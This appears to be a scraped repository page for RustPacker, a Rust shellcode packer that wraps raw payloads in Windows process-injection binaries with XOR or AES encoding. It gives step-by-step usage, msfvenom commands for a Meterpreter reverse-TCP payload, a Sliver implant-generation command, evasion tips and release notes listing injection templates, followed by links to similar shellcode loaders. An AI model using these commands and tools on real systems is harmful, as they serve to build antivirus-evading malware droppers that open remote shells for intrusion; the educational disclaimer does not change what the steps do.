Shellcode packer written in Rust

Overview

RustPacker

Shellcode packer written in Rust.

Current state

Functional as it packs a binary file, but very basic as it only support XOR encoding for now.

Are you a Rust developer?

If you have some experience with Rust, you're more than welcome to help ! You can help by:

  • Review the code for mistakes / improvements
  • Opening issues
  • Contacting me on Discord for a more in depth review (nariod#4621)

Quick start

Podman/Docker setup

Consider using Podman instead of Docker for security reasons. From any internet-connected OS with either Podman or Docker installed:

  • git clone https://github.com/Nariod/RustPacker.git
  • cd RustPacker/
  • podman build -t rustpacker -f Dockerfile
  • Paste your shellcode file in the shared folder
  • podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.bin -i ct -e xor

For regular use, you can set an alias:

  • On Linux host: alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
  • Then: rustpacker -f shared/calc.bin -i ct -e xor

Manual install on Kali

Install dependencies:

  • sudo apt update && sudo apt upgrade -y
  • sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev

Install Rust:

  • curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
  • source $HOME/.cargo/env
  • rustup target add x86_64-pc-windows-gnu

Run RustPacker:

  • git clone https://github.com/Nariod/RustPacker.git
  • cd RustPacker/
  • cargo run -- -f shellcode.bin -i ct -e xor

Full documentation

Create shellcode

RustPacker is compatible with any "raw" shellcode.

Metasploit / MSFvenom

You can generate raw MSF shellcode using msfvenom's raw format. Ex:

  • msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=80 -f raw -o msf.bin

Sliver

You can generate raw Sliver shellcode using Sliver's "--format shellcode". Ex:

  • generate --mtls 127.0.0.1:443 --format shellcode --windows
  • Do not use Shikata Ga Nai (SGN) Sliver encoder if prompted. RustPacker templates do not use RWX memory regions, which are required for SGN to work.

Todo

  • Port createThread Rust template
  • Port createRemoteThread Rust template
  • Debug binary file to Vec
  • Debug compiler
  • Packer POC
  • Migrate to "std::include_bytes"
  • Add xor
  • Add AES
  • Refactor code
  • Build dockerfile
  • Strip output binaries
  • Reduce cargo verbosity
  • Support the awesome evasions from https://github.com/memN0ps/mordor-rs
  • Write detailed doc

Credits

Legal disclaimer

Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

You might also like...
a cute shell thingy that written in rust
a cute shell thingy that written in rust

a cute shell thingy that written in rust

A small command-line application to view images from the terminal written in Rust.
A small command-line application to view images from the terminal written in Rust.

A small command-line application to view images from the terminal written in Rust. It is basically the front-end of viuer

procs is a replacement for ps written in Rust.
procs is a replacement for ps written in Rust.

procs is a replacement for ps written in Rust. Documentation quick links Features Platform Installation Usage Configuration Features Output by t

A curated list of replacements for existing software written in Rust

Awesome Alternatives in Rust A curated list of replacements for existing software written in Rust. If you want to contribute, please read CONTRIBUTING

A user-friendly TUI client for Matrix written in Rust!

Konoha A user-friendly TUI client for Matrix written in Rust! Notice: The client is currently not usable and is only hosted on GitHub for version cont

A simple CLI pomodoro timer written in Rust.

Pomodoro A simple CLI pomodoro timer written in Rust. Based on the Pomodoro Technique. Works on any platform that supports desktop notifications. Exam

zsh modules written in rust

zsh-module-poc Can you make a module for zsh written in Rust? Yes, yes you can and this is a proof of concept. It's a start but I have no idea how to

 cyberdrop-dl - cyberdrop.me Downloader written in Rust 🦀
cyberdrop-dl - cyberdrop.me Downloader written in Rust 🦀

cyberdrop-dl - cyberdrop.me Downloader written in Rust 🦀

An feature packed Google Tasks CLI written purely in Rust
An feature packed Google Tasks CLI written purely in Rust

rChore A feature packed unofficial Google Tasks CLI to boost your producitvity, written purely in Rust. 🤔 What is rChore? rChore is an unofficial Goo

Comments
  • Bug: Sliver shellcode crashes the packer

    Bug: Sliver shellcode crashes the packer

    Large shellcode such as Sliver ones (~20Mo) add up to ~80Mo in the Rust main.rs file. When compiled, the compiler is killed with SIGKILL because of enormous RAM consumption.

    opened by Nariod 1
Releases(v0.6)
  • v0.6(Dec 4, 2022)

    What's Changed

    • added AES support
    • removed non-nt templates
    • added ntAPC template
    • Small documentation updates and fixes
    • Dev by @Nariod in https://github.com/Nariod/RustPacker/pull/6

    Full Changelog: https://github.com/Nariod/RustPacker/compare/v0.5...v0.6

    Source code(tar.gz)
    Source code(zip)
  • v0.5(Nov 23, 2022)

    What's Changed

    • Added ntCRT injection template

    • Completed documentation

    • Preparing for sysCRT template

    • Dev by @Nariod in https://github.com/Nariod/RustPacker/pull/4

    • Dev by @Nariod in https://github.com/Nariod/RustPacker/pull/5

    Full Changelog: https://github.com/Nariod/RustPacker/compare/v0.4...v0.5

    Source code(tar.gz)
    Source code(zip)
  • v0.4(Nov 1, 2022)

    What's Changed

    • XOR support added !

    • Branch by @Nariod in https://github.com/Nariod/RustPacker/pull/3

    Full Changelog: https://github.com/Nariod/RustPacker/compare/v0.3...v0.4

    Source code(tar.gz)
    Source code(zip)
  • v0.3(Oct 29, 2022)

    Still in beta. Added:

    • Drastic compile time and memory usage optimisation
    • Sliver (huge) shellcode support

    What's Changed

    • Dev by @Nariod in https://github.com/Nariod/RustPacker/pull/2

    New Contributors

    • @Nariod made their first contribution in https://github.com/Nariod/RustPacker/pull/2

    Full Changelog: https://github.com/Nariod/RustPacker/compare/Beta...v0.3

    Source code(tar.gz)
    Source code(zip)
  • Beta(Oct 19, 2022)

  • Alpha(Oct 16, 2022)

    It's alive!

    • Pack shellcode file in a CreateThread or CreateRemoteThread Rust binary
    • Works from Linux and Windows

    NOT functional:

    • No encryption / evasion whatsoever for now
    • A lot of static code still
    Source code(tar.gz)
    Source code(zip)
Owner
:wq!
null
Rusty Shellcode Reflective DLL Injection (sRDI) - A small reflective loader in Rust 4KB in size for generating position-independent code (PIC) in Rust.

Shellcode Reflective DLL Injection (sRDI) Shellcode reflective DLL injection (sRDI) is a process injection technique that allows us to convert a given

null 242 Jul 5, 2023
Windows shellcode development in Rust

Write Windows Shellcode in Rust Project overview Windows shellcode project is located in shellcode/, it can build into a PE file with only .text secti

red 171 Dec 26, 2022
Shellcode Runner/Injector in Rust using NTDLL functions directly with the ntapi Library

RustSCRunner Shellcode Runner/Injector in Rust using NTDLL functions directly with the ntapi Library. Surprisingly this is my first ever Rust project

null 86 Dec 18, 2021
A simple code that will load a shellcode directly into RAM memory in a new process

「 ?? 」About RustSCLoader RustSCLoader is a simple code that has the intention of loading a shellcode directly into RAM memory in a new process that wi

null 5 May 15, 2023
Rust Imaging Library's Python binding: A performant and high-level image processing library for Python written in Rust

ril-py Rust Imaging Library for Python: Python bindings for ril, a performant and high-level image processing library written in Rust. What's this? Th

Cryptex 13 Dec 6, 2022
Rust File Management CLI is a command-line tool written in Rust that provides essential file management functionalities. Whether you're working with files or directories, this tool simplifies common file operations with ease.

Rust FileOps Rust File Management CLI is a command-line tool written in Rust that provides essential file management functionalities. Whether you're w

Harikesh Ranjan Sinha 5 May 2, 2024
Experimental engine agnostic 3D CSG library for game development written in Rust. Started as a port of csg.js to Rust.

brusher Experimental engine agnostic 3D CSG library for game development written in Rust. Started as a port of csg.js to Rust. ultimate goal My hope i

Brian Howard 17 Sep 4, 2024
A minimal CLI framework written in Rust

seahorse A minimal CLI framework written in Rust Features Easy to use No dependencies Typed flags(Bool, String, Int, Float) Documentation Here Usage T

Keisuke Toyota 223 Dec 30, 2022
comfy is a flexible command script manager / runner written in Rust

comfy is a cross-platform command script manager / runner tool, which allows you to run commands in the command line itself, but being these predefined in a portable and universal .comfy file.

daCoUSB 17 Nov 12, 2021
⚡️ Lightning-fast and minimal calendar command line. Written in Rust 🦀

⚡️ Lightning-fast and minimal calendar command line. It's similar to cal. Written in Rust ??

Arthur Henrique 36 Jan 1, 2023